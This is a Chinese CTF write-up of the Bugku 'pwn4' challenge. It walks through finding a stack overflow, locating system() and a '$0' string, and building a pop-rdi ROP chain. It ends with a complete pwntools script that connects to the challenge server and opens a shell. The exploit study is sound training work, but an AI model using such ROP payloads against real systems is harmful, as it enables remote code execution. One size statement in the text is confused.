bugku pwn4

来源:bugku pwn4
这一道题我做了很久,也并不算是我自己真正能独立做出来的pwn题,因为我参考了wp,查找了许多资料。里面有许多的知识点,我也会记录在这篇blog。
接下来我将展示我的思路吧。
拿到题目,在虚拟机上查保护,发现没什么保护,然后拖进ida反编译。
bugku pwn4_第1张图片

bugku pwn4_第2张图片
有一个危险函数read,s只取了0x10ull,而read了0x10ull,显然我们可以这道题通过栈溢出来实现。
首先我们需要找到shell,这是得到flag的关键,而“/bin/sh"是对shell的声明,说明你所用的是那种类型的shell及其路径所在。
我们尝试用shift+F12,查看字符串
bugku pwn4_第3张图片
发现这一个字符串,我们找出引用他的函数
bugku pwn4_第4张图片
我们发现了system函数,可惜没有/bin/sh。

这时我们尝试找一下“/bin/sh",用ROPgadget --binary pwn4 --string ‘/bin/sh’
bugku pwn4_第5张图片
发现找不到’/bin/sh‘。苦恼了许久。之后,我了解到了$0在linux中为为shell或shell脚本的名称,也可以得到shell。
bugku pwn4_第6张图片
之后了解到这题需要造一个shell,我们需要构建system($0)。构建shell,这涉及到64位寄存器传参,用rdi,rsi,rdx,rcx,r8,r9来传参,而rdi寄存器对应第一个参数的位置,所以我们将$0的地址传入到rdi中,这时我们就能构建出shell来了,所以我们需要system,$0,rdi的地址。而现在就只缺rdi的地址了,我们又需要用到ROPgadget工具,
指令ROPgadget – binary pwn4 – only ‘pop|ret’
bugku pwn4_第7张图片
system的地址:bugku pwn4_第8张图片
$0的地址:
bugku pwn4_第9张图片
exp:

from pwn import *
p = remote('114.116.54.89', 10004)
system = 0x40075A
bin_sh = 0x60111f
pop_rdi = 0x4007d3
payload ='A' * (0x10+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
p.recvuntil('Come on,try to pwn me')
p.sendline(payload)
p.interactive()

bugku pwn4_第10张图片注意:payload是有一定顺序的,是将$0传入rdi中作为参数,然后再传入system,一开始没注意,老是ls不能成功获得目录,尝试了好多遍才意识到自己的错误。

你可能感兴趣的:(bugku pwn4)